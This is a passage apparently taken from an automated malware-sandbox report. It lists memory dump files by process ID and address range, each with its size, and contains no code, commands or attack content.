                                                                                                                          • memory/1028-96-0x00007FFA36990000-0x00007FFA369A0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/1028-91-0x000001777C340000-0x000001777C4FB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/1028-94-0x000001777C340000-0x000001777C4FB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/1028-93-0x000001777C340000-0x000001777C4FB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/1028-92-0x000001777C340000-0x000001777C4FB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/1028-95-0x000001777C340000-0x000001777C4FB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/1100-99-0x0000024F80D40000-0x0000024F80EFB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/1100-98-0x0000024F80D40000-0x0000024F80EFB000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.7MB

                                                                                                                          • memory/1700-2-0x0000017569BD0000-0x0000017569BF2000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            136KB

                                                                                                                          • memory/1700-12-0x00007FFA58870000-0x00007FFA59331000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            10.8MB

                                                                                                                          • memory/1700-13-0x00007FFA58870000-0x00007FFA59331000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            10.8MB

                                                                                                                          • memory/1700-14-0x00007FFA58870000-0x00007FFA59331000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            10.8MB

                                                                                                                          • memory/1700-26-0x00007FFA58870000-0x00007FFA59331000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            10.8MB

                                                                                                                          • memory/3160-34-0x00007FFA76910000-0x00007FFA76B05000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            2.0MB

                                                                                                                          • memory/3160-35-0x00007FFA74D40000-0x00007FFA74DFE000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            760KB

                                                                                                                          • memory/3160-33-0x0000023605B20000-0x0000023605BBA000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            616KB

                                                                                                                          • memory/3984-656-0x0000000000F50000-0x0000000000F62000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            72KB

                                                                                                                          • memory/4812-42-0x0000000140000000-0x00000001401A1000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.6MB

                                                                                                                          • memory/4812-40-0x00007FFA74D40000-0x00007FFA74DFE000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            760KB

                                                                                                                          • memory/4812-36-0x0000000140000000-0x00000001401A1000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.6MB

                                                                                                                          • memory/4812-38-0x0000000140000000-0x00000001401A1000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.6MB

                                                                                                                          • memory/4812-39-0x00007FFA76910000-0x00007FFA76B05000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            2.0MB

                                                                                                                          • memory/5688-23-0x00000000022E0000-0x0000000002378000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            608KB

                                                                                                                          • memory/5688-22-0x00000000001E0000-0x000000000027E000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            632KB